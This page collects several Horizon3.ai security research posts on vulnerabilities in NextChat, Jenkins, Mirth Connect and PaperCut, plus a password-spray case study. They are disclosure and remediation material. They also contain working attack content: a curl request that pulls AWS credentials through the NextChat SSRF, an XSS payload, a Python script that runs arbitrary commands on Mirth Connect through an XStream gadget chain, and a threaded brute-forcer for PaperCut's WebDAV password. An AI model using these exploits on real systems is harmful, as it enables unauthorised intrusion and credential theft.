Normal view

There are new articles available, click to refresh the page.
Before yesterdayHorizon3.ai

NextChat: An AI Chatbot That Lets You Talk to Anyone You Want To

11 March 2024 at 13:01

With the advent of generative AI, AI chatbots are everywhere. While users can chat with large-langage models (LLMs) using a SaaS provider like OpenAI, there are lots of standalone chatbot applications available for users to deploy and use too. These standalone applications generally offer a richer user interface than OpenAI, additional features such as the ability to plug in and test different models, and the ability to potentially bypass IP block restrictions.

From our research, the most widely deployed standalone Gen AI chatbot is NextChat, a.k.a ChatGPT-Next-Web. This is a GitHub project with 63K+ stars and 52K+ forks. The Shodan query  title:NextChat,"ChatGPT Next Web" pulls up 7500+ exposed instances, mostly in China and the US.

This application is vulnerable to a critical full-read server-side request forgery (SSRF) vulnerability, CVE-2023-49785, that we disclosed to the vendor in November 2023. As of this writing, there is no patch for the vulnerability, and since 90+ days has passed since our original disclosure, we are now releasing full details here.

CVE-2023-49785: A Super SSRF

NextChat is a Next.js-based Javascript application, and most of its functionality is implemented as client-side code.

There are, however, a few exposed server endpoints. One of these endpoints is at /api/cors, and it functions by design as an open proxy, allowing unauthenticated users to send arbitrary HTTP requests through it. This endpoint appears to have been added to support saving client-side chat data to WebDAV servers. The presence of this endpoint is an anti-pattern: it allows clients to bypass built in browser protections for accessing cross-domain resources by accessing them through a server-side endpoint instead.

For instance to access Google through this proxy, one can make the following request:

SSRF vulnerabilities vary considerably in terms of real-world impact. This particular SSRF is about as bad as it gets. It’s dangerous because:

  • It enables access to arbitrary HTTP endpoints, including any internal endpoints
  • It returns the full response from any accessed HTTP endpoints
  • It supports arbitrary HTTP methods such as POST, PUT, etc by setting the method header. Request bodies are also passed along.
  • URL query parameters can be passed along with URL encoding.
  • It supports passing along an Authorization header in requests.

If this application is exposed on the Internet, an attacker essentially has full access to any other HTTP resources accessible in the same internal network as the application. The only limitation is passing along other headers such as Cookie or Content-Type, though there may be creative ways to inject these headers.

Here’s an example of accessing the AWS cloud metadata service to retrieve AWS access keys off an AWS EC2 instance running with IMDSv1 enabled:

sh-3.2# curl http://54.145.48.76:3000/api/cors/http/169.254.169.254/latest/meta-data/iam/security-credentials/REDACTED
{
  "Code" : "Success",
  "LastUpdated" : "2024-03-08T00:22:17Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA-REDACTED",
  "SecretAccessKey" : "C2CW-REDACTED",
  "Token" : "IQoJb3JpZ2luX2VjENH-REDACTED",
  "Expiration" : "2024-03-08T06:58:15Z"
}

Reflected XSS

Almost all reflected XSS vulnerabilities are of little value to attackers. But we thought it was interesting to note that this vulnerability can be used to directly trigger an XSS without loading another site. This is because the fetch method used by the /api/cors endpoint also supports the data protocol.

For instance, the following payload:

data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23

will be decoded to <script>alert(document.domain)</script> at the server and sent back to the client, resulting in XSS:

Mitigations

Our assessment of this vulnerability puts the CVE base score at 9.1 (critical). The vulnerability not only enables read access to internal HTTP endpoints but also write access using HTTP POST, PUT, and other methods. Attackers can also use this vulnerability to mask their source IP by forwarding malicious traffic intended for other Internet targets through these open proxies.

As of this writing, there is no patch for the vulnerability. More than 90 days has passed since our original contact.

  • Nov. 25, 2023: Horizon3 reports security issue to ChatGPT-Next-Web via GitHub vulnerability disclosure process
  • Nov. 26, 2023: Vendor accepts the report
  • Dec. 6, 2023: GitHub CNA reserves CVE-2023-49785
  • Jan. 15, 2024: Horizon3 asks vendor for an update using the GitHub security issue. No response.
  • Mar. 7, 2024: Horizon3 asks vendor for an update using the GitHub security issue. No response.
  • Mar. 11, 2024: Public disclosure

We recommend that users not expose this application on the Internet. If it must be exposed to the Internet, ensure it is an isolated network with no access to any other internal resources. Beware that attackers can still use the application as an open proxy to disguise malicious traffic to other targets through it.

Detection

The following nuclei template can be used to detect this vulnerability. The vulnerable code was introduced in Sept. 2023. The majority of instances online, including any instances using the more recent “NextChat” name, are highly likely to be vulnerable.

id: CVE-2023-49785

info:
  name: CVE-2023-49785
  author: nvn1729
  severity: critical
  description: Full-Read SSRF/XSS in NextChat, aka ChatGPT-Next-Web
  remediation: |
    Do not expose to the Internet
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2023-49785
  tags: cve-2023-49785,ssrf,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/cors/data:text%2fhtml;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+%23"
      - "{{BaseURL}}/api/cors/http:%2f%2fnextchat.{{interactsh-url}}%23"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS interaction from second request
        words:
          - "dns"
      
      - type: dsl
        dsl:
          - 'contains(body_1, "<script>alert(document.domain)</script>") && contains(header_1, "text/html")' # XSS validation in first request
          - 'contains(header_2, "X-Interactsh-Version")' # Or got HTTP response back from Interact server

Conclusion

Over the last two years, we have observed the rapid pace of development of new generative AI applications, and there is a big appetite to use and experiment with these applications. We’ve also observed a steady blurring of lines between personal use and corporate use. While NextChat is primarily meant for personal use, we’ve seen it in a few of our own client environments.

Security has simply not kept up, both AppSec practices and vulnerability disclosure processes. The focus of the infosec community and media at large has been on “security harms” like prompt injection or model poisoning, but there are lots of high impact, conventional vulnerabilities to be found. We recommend users exercise caution when exposing any unvetted Gen AI tools to the Internet.

References

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post NextChat: An AI Chatbot That Lets You Talk to Anyone You Want To appeared first on Horizon3.ai.

NodeZero APT: Azure Password Spray Leads to Business Email Compromise

6 February 2024 at 15:57

On January 19, 2024, Microsoft disclosed a major security incident in which the email of Microsoft senior executives and other staff were accessed by Midnight Blizzard a.k.a Cozy Bear, a nation-state threat actor affiliated with Russia. Microsoft determined that the actor got initial access using password spray to compromise a legacy non-production test tenant account in Microsoft Entra ID (formerly Azure AD). The actor then moved laterally using the excessive permissions granted to that test account to access the email of Microsoft employees.

Password spray is a surprisingly simple and effective technique we’ve written about before. In a password spray attack, an attacker tries to login to a lot of accounts using a few probable passwords, with the hope that at least one account is using a weak password.

In this real-world external pentest, we’ll show NodeZero conducting a password spray attack against Microsoft Entra ID to get initial access to a client’s tenant account, similar to what Midnight Blizzard did. From there NodeZero detects that multi-factor authentication is disabled and breaks into the email of the compromised user.

A Real World Example

In this example, a client conducted an external pentest using NodeZero. NodeZero ran from Horizon3.ai’s cloud environment and was not provided any credentials.

Configuring an External Pentest for Password Spray

When defining the assets in scope for this pentest, the client provided NodeZero a list of company-owned domains. NodeZero uses these domains to enumerate Azure tenants that belong to the client.

In the Attack Configuration for the pentest, the MS Entra (Azure AD) Password Spray flag was also enabled. This is on by default.

To avoid locking out accounts, NodeZero only attempts three passwords an hour. A duration of time can be set for how long the pentest runs, in order to get in more password spray attempts.

Attack Path

Here are the steps NodeZero took in this test to get to business email compromise:

  1. NodeZero used the provided domains to discover a Microsoft Entra tenant associated with the client.
  2. NodeZero used open source intelligence (OSINT) to discover potential usernames associated with the client.
  3. NodeZero verified which users are actual users belonging to the client’s tenant.
  4. NodeZero sprayed a highly probable password against all verified users. One of the users hit!
  5. NodeZero then discovered that MFA was disabled for the user. NodeZero logged into the user’s account and acquired an Azure access and refresh token.
  6. NodeZero then accessed the user’s Microsoft365 inbox.

The full attack path is shown below:

Takeaways

It took NodeZero less than 10 minutes to execute this attack path leading to business email compromise, starting with no privileges in the form of credentials or network access. This attack was performed autonomously with no human assistance or prior scripting.

The impact of business email compromise is huge. Not only can attackers access potentially sensitive data, they can use the compromised account to conduct lateral phishing attacks and further escalate privileges.

Microsoft has been rolling out MFA for all its tenants, but in practice we’ve seen that there have been gaps in this rollout, just as Microsoft experienced with its own legacy test tenant. The application of MFA also depends on how the tenant is configured. Use NodeZero to verify your true security posture!

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

 

The post NodeZero APT: Azure Password Spray Leads to Business Email Compromise appeared first on Horizon3.ai.

CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability

29 January 2024 at 19:14

Last Wednesday, on January 24, 2024, the Jenkins team issued a security advisory disclosing a critical vulnerability, CVE-2024-23897, affecting the Jenkins CI/CD tool. This advisory set off alarm bells among the infosec community because the potential impact is huge: Jenkins is widely deployed, with tens of thousands of public-facing installs, and the Jenkins advisory was clear that this vulnerability could lead to remote code execution. Jenkins is a common target for attackers, and, as of this writing, there are four prior Jenkins-related vulnerabilities in CISA’s catalog of Known Exploited Vulnerabilities.

Our advice for users of Jenkins is don’t panic… unless you need to. This is a textbook example of a vulnerability whose true impact can only be accurately assessed within the context of your environment. The typical Jenkins install will not be exploitable by unauthenticated attackers. However, there are a few factors that could significantly increase the potential for damage, elevating this to a truly critical vulnerability. We’ll discuss these factors in this post, as well as how the NodeZero platform can be used to provide an accurate assessment of risk.

Background

CVE-2023-23897 resides in the Jenkins CLI, an alternative way for users to interact with Jenkins without going through web interface. The CLI is enabled by default. Vulnerable Jenkins servers misinterpret command line arguments supplied by users to the CLI. Specifically, CLI arguments preprended by @ are incorrectly interpreted as files that need to be opened to read in arguments, and in some cases the lines in these files are echo’d back as part of error messages to the CLI user. A detailed technical explanation is available here from Yaniz Nizry of Sonarsource, who discovered the vulnerability.

An unauthenticated attacker with no permissions (i.e. the default Jenkins install) can leak the first couple of lines of arbitrary text files on a vulnerable Jenkins server. For instance, here’s an example of retrieving the first few lines of the C:\windows\win.ini file using the CLI help command.

An authenticated attacker can retrieve entire text files, using the connect-node CLI command:

Dangerous Configuration Options

There are two dangerous Jenkins configuration options that allow unauthenticated attackers to effectively act like authenticated attackers. The “Allow users to sign up” option allows anyone with access to the Jenkins instance to self-register an account. And the “Allow anonymous read access” option gives everyone the Overall/Read permission.

For instance here’s an example of an unauthenticated attacker reading the /etc/passwd file off a Jenkins server that has been enabled with the “Allow anonymous read access” option:

Reading Binary Files

Binary files can also be read but the Jenkins server will try to convert them into text, using the default character encoding set defined for the Jenkins server. Binary characters outside the character encoding set will be returned in mangled/unusable form back to the CLI user. According to the Jenkins advisory, if Jenkins is running on Linux, where the default character encoding set is UTF-8, an average of half the characters in binary files will end up being mangled. However, if Jenkins is running on Windows, where the default character encoding set is Windows 1252, a much smaller percentage (5/256) of the characters would be mangled on average. Therefore it may be possible for an attacker targeting a Jenkins server running on Windows to re-construct secrets contained in binary files. This is significant because the hudson.util.Secret file is a small binary file that contains an encrypted key used to encrypt other secrets.

Here’s an example of trying to read the hudson.util.Secret file on Linux:

Remote Code Execution and Credential Dumping

Given the above, how likely is it that an attacker can use this vulnerability to achieve remote code execution or dump credentials stored within Jenkins? We put together the following risk matrix:

Risk Matrix Jenkins Server Running on Linux Jenkins Server Running on Windows
Attacker has no permissions Risk: Low
  • Can only read the first few lines of arbitrary text files
  • An attacker may happen to discover a “password.txt” file containing a secret or a secret in the first few lines of a bash history file.
  • Binary files can’t be read
  • The Jenkins master.key can be retrieved but this file by itself can’t be used to do much. This is a key that encrypts other keys, and those other keys are stored in binary format.

 

 

Risk: Moderate
  • Can only read the first few lines of arbitrary text files.
  • An attacker may happen to discover a “password.txt” file containing a secret.
  • It may be possible to read/reconstruct secrets in binary files like the hudson.util.Secret file. In our testing, we found that this is not a given because files could contain newline characters and get truncated, and files may be mangled to the point that their contents can’t be guessed.
  • If it is possible to read binary files, there is a path to remote code execution in non-default configurations where the “Resource Root URL” configuration is enabled.
Attacker has Overall/Read permissions Risk: High
  • Can fully read arbitrary text files, leading to significant information disclosure
  • An attacker could retrieve SSH private keys that happen to be resident on the server. These keys could used to log in to the server or other machines in the network, leading to remote code execution. This assumes the SSH port is accessible and the private key is not protected by a password or the password can be cracked.
  • Binary files can’t be read
  • The Jenkins master.key can be retrieved but this file by itself can’t be used to do much. This is a key that encrypts other keys, and those other keys are stored in binary format.

 

Risk: Very High
  • Can fully read arbitrary text files, leading to significant information disclosure
  • An attacker can fully read binary files, albeit partially mangled. An attacker may be able to reconstruct secrets in files such as the hudson.util.Secret file.
  • If it’s possible to read secrets stored in binary files, there are multiple paths to remote code execution, such as forging a RememberMe cookie.
  • If it’s possible to read secrets stored in binary files, an attacker can dump all credentials stored in Jenkins. Cred dumping only requires three files from the Jenkins server: the master.key, the hudson.util.Secret file, and the credentials.xml file, and there are off-the-shelf tools to accomplish this.

 

How NodeZero Assesses CVE-2024-23897

One of the core functions of the NodeZero platform is exploiting vulnerabilities to help practitioners understand the true risk of these vulnerabilities and to plan remediation accordingly.

To assess this particular vulnerability, NodeZero performs the following steps:

  • Determines if the Jenkins server is vulnerable using the X-Jenkins version header present in HTTP responses.
  • Benignly exploits the vulnerability by attempting to read the /etc/passwd and C:\windows\win.ini file from the server
    • This is done using multiple Jenkins CLI commands to determine if an unauthenticated attacker has no permissions (can only partially read files) or Overall/Read permissions (can fully read files)
    • This helps determine if the Jenkins server is running on Linux or Windows
    • NodeZero also accounts for Jenkins servers running behind reverse proxies, which may or may not be exploitable.
  • Checks if user self signup is enabled.

By default, NodeZero assigns this particular vulnerability a base score of 8.1 (High). This is the score we’d expect for typical Jenkins installs that haven’t been patched for this vulnerability but are using default configuration options and are running on Linux. The proof that NodeZero captures for the vulnerability shows the partial contents of the /etc/passwd file:

If NodeZero finds that any of the following conditions are true, it elevates the score to 9.5 (Critical):

  • Unauthenticated attacker has Overall/Read permissions
  • User self signup is enabled
  • The Jenkins server is running on Windows

For instance, on this Jenkins server, self signup is enabled, and anonymous users are configured with Overall/Read permissions, enabling unauthenticated attackers to read the full content of text files:

Here’s a Jenkins server running on Windows where only partial file read is possible, but there’s a chance attackers may still be able to recover secrets stored in binary files, leading to further compromise:

Finally, it’s not always possible to exploit this vulnerability, particularly if the Jenkins server is running behind a reverse proxy. NodeZero will mark vulnerabilities for which exploits have failed with a failure reason and downgrade the severity of the vulnerability accordingly.

Remediation

Updating to at least Jenkins versions 2.442 and 2.426.3 (long-term support version) will address this vulnerability. It is also possible to mitigate by disabling the Jenkins CLI, as described here.

We recommend patching immediately if NodeZero identifies conditions that elevate this to a critical severity. Note that if you’re running Jenkins on the Internet, the dangerous configuration options of anonymous read access and self signup should never be enabled. NodeZero will surface these misconfigurations as additional weaknesses.

Even if NodeZero doesn’t identify CVE-2024-23897 as a critical vulnerability, it still merits patching. It is entirely possible for attackers to acquire credentials for valid users through attacks such as password spray, and then exploit CVE-2024-23897 as an authenticated user to read arbitrary files.

References

 

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post CVE-2024-23897: Assessing the Impact of the Jenkins Arbitrary File Leak Vulnerability appeared first on Horizon3.ai.

Writeup for CVE-2023-43208: NextGen Mirth Connect Pre-Auth RCE

12 January 2024 at 14:15

Introduction

In Oct. 2023, we released an advisory for CVE-2023-43208, a pre-authenticated remote code execution vulnerability affecting NextGen Mirth Connect. Mirth Connect is an open source data integration platform widely used by healthcare companies. This post dives into the technical details behind this vulnerability, which is ultimately related to insecure usage of the Java XStream library for unmarshalling XML payloads. If you’re a user of Mirth Connect and haven’t patched yet, we strongly encourage you to upgrade to the 4.4.1 patch release or later. This is an easily exploitable vulnerability that our own pentesting product, NodeZero, has exploited successfully against a number of healthcare organizations.

Reversing a Prior Vulnerability: CVE-2023-37679

CVE-2023-43208 arises from an incomplete patch for CVE-2023-37679, also a pre-auth RCE, reported by IHTeam. CVE-2023-37679 was reportedly patched in Mirth Connect 4.4.0, which was released on Aug 2, 2023. In the release notes for 4.4.0, we found it odd that this vulnerability was reported to affect only Mirth Connect versions running Java 8.

Looking through the commit history, it was apparent that the patch for CVE-2023-37679 involved setting up an XStream denylist in an XStreamSerializer class to prevent the marshalling of certain unsafe data types that could be used for remote code execution.

XStream has a long history of CVEs associated with it, and the denylist approach is notoriously difficult to secure. We were convinced the vulnerability was not patched and decided to probe deeper.

Tracing the code, the XStreamSerializer is invoked through the XmlMessageBodyReader class, a type of interceptor that converts XML payloads into objects prior to the passing of those objects into Java servlet methods for HTTP request processing.

Mirth servlets in general extend the MirthServlet base class, which handles checking authentication in the initLogin method. This authentication check happens prior to the unmarshalling of any XML payloads by XmlMessageBodyReader.

However, for a few servlets, authentication is not checked in the MirthServlet base class and is instead handled in the servlet itself. In particular, the ConfigurationServlet, SystemServlet, and UserServlet all extend the MirthServlet base class but set the initLogin property to false. This opens up the possibility for a few API calls where XML payloads are unmarshalled by the XMLMessageBodyReader class prior to the authentication check in the servlet.

To reproduce CVE-2023-37679, we started up an old version of Mirth Connect, 4.1.1, from Docker Hub and sent a well-known XStream RCE payload to the POST /users endpoint using the Swagger UI. This payload was disclosed by @pwntester back in 2013 and also used relatively recently by @SinSinology and @steventseeley recently to exploit VMware NSX Manager.

And it worked, against a version of Mirth running Java 11.0.16.

We then repeated this against other versions of Mirth Connect. Curiously we found the same exploit payload failed against older Mirth versions, also running with Java 11, and we also found the payload didn’t work against Mirth 4.3, which was running Java 17.

Creating a General Exploit for CVE-2023-37679

Debugging the failure of the exploit payload against different Mirth versions, we found two problems:

Older versions of Mirth use older versions of the XStream library, and some of these versions refuse to unmarshall the java.beans.EventHandler class. For instance, testing against XStream 1.4.7 and Java 11, we get the following error:

And the payload fails with Java 17+ because private fields in the java.beans.EventHandler class are not accessible. Java 9 introduced the concept of “modules” to better encapsulate Java libraries, and starting with Java 17, the JRE explicitly forbids access to private members of modularized libraries unless the developer explicitly allows access by setting the --add-opens flag. This can break XStream unmarshalling because XStream relies heavily on reflection to work.

To bypass both limitations, we decided to look for an alternative InvocationHandler class similar to java.beans.EventHandler but in a non-modularized third-party library. Any libraries that aren’t modularized fall into a catch-all UNNAMED module, and code within the UNNAMED module is free to use reflection to access the private members of other code within the UNNAMED module.

We found such a class within the apache.commons.lang3 library: org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler:

We modified the payload accordingly, and it worked, as shown below against Mirth Connect 4.3 running Java 17.

 

Bypassing the Patch for CVE-2023-37679

We now had a generic exploit for CVE-2023-37679 that worked reliably against versions of Mirth Connect <= 4.3.0, regardless of the Java version. The only remaining task was to bypass the patch for CVE-2023-37679 in Mirth Connect 4.4. The patch, as shown above, adds a denylist to prevent certain dangerous classes from being unmarshalled. We needed to find an alternative to the ProcessBuilder class to execute a system command.

The denylist in the patch was based on the denylist in the XStream security documentation for older XStream versions. XStream cautions however that it does not account for classes in third party libraries:

"All those scenarios were based on types that are delivered with the Java runtime at some version. Looking at other well-known and commonly used Java libraries libraries such as ASM, CGLIB, or Groovy, you will have to assume other scenarios for exploits as well. A class like InvokerTransformer of Apache Commons Collections has a high potential for attacks. By default XStream 1.4.18 works now with a whitelist. If you modify the default setup, it is also your responsibility to protect your clients from such vulnerabilities."

As it turns out, InvokerTransformer is the route we went as an alternative for the ProcessBuilder class. We came up with a new payload shown below:

And this worked against Mirth Connect 4.4 running Java 17:

 

POC Script

Putting it altogether, here’s a proof-of-concept for exploiting this vulnerability:

import requests
from argparse import ArgumentParser
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

PAYLOAD = """<sorted-set>
  <string>abcd</string>
  <dynamic-proxy>
    <interface>java.lang.Comparable</interface>
    <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
      <target class="org.apache.commons.collections4.functors.ChainedTransformer">
        <iTransformers>
          <org.apache.commons.collections4.functors.ConstantTransformer>
            <iConstant class="java-class">java.lang.Runtime</iConstant>
          </org.apache.commons.collections4.functors.ConstantTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>getMethod</iMethodName>
            <iParamTypes>
              <java-class>java.lang.String</java-class>
              <java-class>[Ljava.lang.Class;</java-class>
            </iParamTypes>
            <iArgs>
              <string>getRuntime</string>
              <java-class-array/>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>invoke</iMethodName>
            <iParamTypes>
              <java-class>java.lang.Object</java-class>
              <java-class>[Ljava.lang.Object;</java-class>
            </iParamTypes>
            <iArgs>
              <null/>
              <object-array/>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
          <org.apache.commons.collections4.functors.InvokerTransformer>
            <iMethodName>exec</iMethodName>
            <iParamTypes>
              <java-class>java.lang.String</java-class>
            </iParamTypes>
            <iArgs>
              <string><<COMMAND>></string>
            </iArgs>
          </org.apache.commons.collections4.functors.InvokerTransformer>
        </iTransformers>
      </target>
      <methodName>transform</methodName>
      <eventTypes>
        <string>compareTo</string>
      </eventTypes>
    </handler>
  </dynamic-proxy>
</sorted-set>
"""

def _escape_xml(str_xml):
    str_xml = str_xml.replace('&', '&amp;')
    str_xml = str_xml.replace('<', '&lt;')
    str_xml = str_xml.replace('>', '&gt;')
    str_xml = str_xml.replace('"', '&quot;')
    str_xml = str_xml.replace("'", '&apos;')
    return str_xml

def main():
    parser = ArgumentParser()
    parser.add_argument('-u', '--url', required=True, help='Target URL')
    parser.add_argument('-c', '--command', required=True, help='OS command to run')
    args = parser.parse_args()
    command = _escape_xml(args.command)
    url = args.url.rstrip('/')
    payload = PAYLOAD.replace('<<COMMAND>>', command)
    print(f'Sending payload:\n{payload}')
    r = requests.post(f'{url}/api/users',
                  headers={'X-Requested-With': 'OpenAPI', 'Content-Type': 'application/xml'},
                  data=payload,
                  verify=False,
                  timeout=15)
    print(f'Payload sent. Received status code: {r.status_code}')


if __name__ == '__main__':
    main()

Patch for CVE-2023-43208

Mirth Connect 4.4.1 patches CVE-2023-43208 by getting rid of the XStream denylist altogether and moving to an explicit allowlist of safe classes.

Detection

To check if your Mirth Connect instance is vulnerable:

% curl -k -H 'X-Requested-With: OpenAPI' https://<server>:<port>/api/server/version
4.4.0

Any server reporting a version less than 4.4.1 is highly likely to be exploitable.

If you’re writing detection rules for this exploit, the following points may be of interest to you:

  • There are many other endpoints outside of POST /users that accept and unmarshal XML payloads.
  • There are other exploit payloads that will work. For instance, afterwards, we found afterwards that the off-the-shelf CommonsCollection6 gadget posted by @chudyPB here also works with some minor edits. Depending on the XStream version installed with Mirth Connect, other payloads are possible.

Impact

CVE-2023-43208/CVE-2023-37679 is an easily exploitable, unauthenticated remote code execution vulnerability, and we urge all users of Mirth Connect to patch to at least version 4.4.1. At the time of our advisory in October, there were ~1300 Internet-facing installs of Mirth Connect. Attackers would most likely exploit this vulnerability for initial access or to compromise sensitive healthcare data. On Windows systems, where Mirth Connect appears to be most commonly deployed, it typically runs as the SYSTEM user.

Here’s a real-world attack path showing NodeZero exploiting this vulnerability on a Windows system, installing a remote access tool (RAT) through this exploit, and then dumping credentials to get access as a privileged Windows domain user:

References

Sign up for a free trial and quickly verify you’re not exploitable.

Start Your Free Trial

The post Writeup for CVE-2023-43208: NextGen Mirth Connect Pre-Auth RCE appeared first on Horizon3.ai.

Writeup for CVE-2023-39143: PaperCut WebDAV Vulnerability

12 January 2024 at 14:15

Introduction

Back in Aug. 2023 we released an advisory for CVE-2023-39143, a critical vulnerability that affects Windows installs of the PaperCut NG/MF print management software. Attackers can exploit this vulnerability to download and delete arbitrary files, and in certain common configurations upload files, leading to remote code execution. This vulnerability was patched in PaperCut version 22.1.3 in July 2023.

This post is a deep dive into the technical details behind this vulnerability. As you’ll see, this isn’t exactly the kind of vulnerability that will win any accolades at Pwn2Own, but it’s something that a patient determined attacker may choose to exploit in certain targeted scenarios. It’s an interesting case study of how a bunch of seemingly minor issues can be chained together to achieve total compromise.

Brute Forcing a Credential

We decided to research PaperCut last year after reports of widespread exploitation of CVE-2023-23750. A number of Horizon3 customers are in the state/local/education sector and are users of PaperCut.

PaperCut is a traditional Java web application. Looking through the web.xml, one of the interesting endpoints that stood out was a WebDAV endpoint:

This endpoint is guarded by the WebDavSecurityFilter class, which checks for basic authentication credentials for the papercut-webdav user. The password is a 6 digit code and can be brute forced. No rate-limiting is enforced on this endpoint.

In our local network it took about an hour to get through all million codes. An attacker’s speed of brute forcing will vary depending on the network, how many parallel threads are run, and how many PaperCut instances are being targeted at once.

import requests
import base64
requests.packages.urllib3.disable_warnings()
from concurrent.futures import ThreadPoolExecutor
import sys

url = 'https://10.0.229.11:9192/webdav/hi'

def try_passwords(min, max):
    for i in range(min, max):
        password = str(i).rjust(6, '0')
        auth_raw = 'papercut-webdav:' + password
        auth_header = 'Basic ' + base64.b64encode(auth_raw.encode()).decode()
        r = requests.post(url, headers = {'Authorization': auth_header}, verify=False)
        print(i, r.status_code)
        if (r.status_code != 403):
            # if successful, will return 501 Not implemented because POST is not supported
            print(f'Got password! {password}')
            sys.exit(0)

with ThreadPoolExecutor(max_workers=5) as executor:
    executor.submit(try_passwords, 0, 200000)
    executor.submit(try_passwords, 200000, 400000)
    executor.submit(try_passwords, 400000, 600000)
    executor.submit(try_passwords, 600000, 800000)
    executor.submit(try_passwords, 800000, 1000000)

Note that the WebDAV endpoint only operates over HTTPS, and in general everything in this post requires access to a PaperCut server over HTTPS.

The WebDAV Attack Surface: Path Traversal in net.sf.webdav Package

Getting access to the WebDAV interface opens up an interesting attack surface. The code in WebDavSecurityFilter disallows GET requests, but other HTTP methods such as MOVE, COPY, DELETE, and PUT are allowed.

PaperCut’s WebDavServlet class extends net.sf.webdav.WebdavServlet in the third party net.sf.webdav package. We found a Windows-specific path traversal vulnerability in this package where paths are sanitized for forward slashes but not backslashes.

This is a very old third party package and it doesn’t appear to have a maintainer. We traced shared code in this package back to Apache Tomcat, but this is not exploitable in Tomcat because Tomcat prohibits backslashes in paths. PaperCut uses Jetty, which is happy to pass the backslashes through.

Listing Arbitrary Directories

With the path traversal, it’s possible to list the contents of arbitrary directories on the host using the WebDAV PROPFIND method. Here’s an example of listing files and directories under C:\Users.

Deleting Arbitrary Files

It’s possible to use the path traversal to delete arbitrary files and folders on the file system. Here’s an example of deleting the C:\test folder.

Using a Second Path Traversal Issue to Download Arbitrary Files

As mentioned above, the WebDavSecurityFilter class guards against GET requests hitting the WebDavServlet. However, we found a second Windows-specific path traversal issue in the CustomReportExample servlet that allows retrieval of image files at arbitrary paths on the file system.

We found that we could use the first path traversal issue in the net.sf.webdav package to COPY arbitrary files into the PaperCut webdav folder with a png extension, and then use the second path traversal issue in CustomReportExampleServlet to retrieve those files.

Here’s an example of retrieving PaperCut’s server.properties file, which contains the admin user’s password hash.

Combined with the ability to list arbitrary directories using PROPFIND, this means an attacker can exfiltrate anything on disk. For instance, PaperCut uses Derby by default as a database, and these Derby database files can be retrieved. An attacker can then use tools like ij to execute SQL to access any data in the database.

Uploading Arbitrary Files

The WebDavServlet class supports uploading files via the HTTP PUT method, and this is also vulnerable to path traversal, but there’s a catch. The path to the PUT must start with a valid scan job id, i.e. it must look something like https://<server>:<port>/webdav/<scan job id>/..\..\..\<filename>. This interface is meant for printers to upload files for scan jobs to PaperCut.

To exploit this endpoint then, an attacker must be able to generate a valid scan job id. This requires a configuration of PaperCut where external device integration is turned on. This is the default for PaperCut MF and certain flavors of PaperCut NG. From our testing in client environments, the vast majority of PaperCut users have this setting turned on.

Assuming this external device integration setting is turned on, there are two scenarios where an attacker can generate a scan job id:

  1. The site server API is accessible (the default), and PaperCut is configured to use a secondary site server (somewhat uncommon)
  2. The external device XMLRPC API is accessible (the default and a common scenario)

We’ll look at each of these scenarios.

File Upload Using a Site Server

PaperCut’s main application server exposes an API for secondary servers (site servers) to carry out actions on behalf of users that connect to the site server. One of these APIs allows site servers to create scan jobs.

Requests to the site server API are authenticated using a site server UUID. This is something an attacker can acquire by exploiting the arbitrary file download vulnerability described earlier.

An attacker can pretend to be a site server and submit scan jobs using the site server API. To create a scan job, an attacker would send a scan job request to the /rpc/api/rest/master/scan-job/createJob/<site server UUID> endpoint with a scan job request JSON payload that looks something like this.

{
    "username": [
        "jsmith"
    ],
    "locale": [
        "rO0ABXNyABBqYXZhLnV0aWwuTG9jYWxlfvgRYJww+ewDAAZJAAhoYXNoY29kZUwAB2NvdW50cnl0ABJMamF2YS9sYW5nL1N0cmluZztMAApleHRlbnNpb25zcQB+AAFMAAhsYW5ndWFnZXEAfgABTAAGc2NyaXB0cQB+AAFMAAd2YXJpYW50cQB+AAF4cP////90AAJVU3QAAHQAAmVucQB+AARxAH4ABHg="
    ],
    "userParams": [],
    "jobSettings": [
        "rO0ABXNyADNiaXoucGFwZXJjdXQucGNuZy5kb21haW4uc2Nhbi5TY2FuU2V0dGluZ3NGYWN0b3J5JDSVL6JDv6zlygIAAUwAD3ZhbCRzZXR0aW5nc01hcHQAD0xqYXZhL3V0aWwvTWFwO3hyAC1jb20ucGFwZXJjdXQuc2VydmVyLmxhbmcuc2Nhbi5TY2FuSm9iU2V0dGluZ3OtAwAAtdjyIwIAAHhwc3IANWNvbS5nb29nbGUuY29tbW9uLmNvbGxlY3QuSW1tdXRhYmxlTWFwJFNlcmlhbGl6ZWRGb3JtAAAAAAAAAAACAAJbAARrZXlzdAATW0xqYXZhL2xhbmcvT2JqZWN0O1sABnZhbHVlc3EAfgAFeHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAAdXEAfgAHAAAAAA=="
    ],
    "accountName": [
        "jsmith"
    ],
    "deviceId": [
        "43422"
    ],
    "scanActionId": [
        "1001"
    ]
}

In the above payload, the username and accountNames are any user in the system, the deviceId doesn’t matter, and the scanActionId is set to first default scan action id of 1001.

The return value from this API call is a scan job id. This can be then used against the WebDAV API using the PUT method to place a file anywhere on the file system.

File Upload Using an Existing Device or Registering a Device

If PaperCut has been configured with a device that supports integrated scanning, and integrated scanning has also been enabled for that device, it’s possible to create a scan job for that device using the external device XMLRPC API hosted at /rpc/extdevice/xmlrpc.

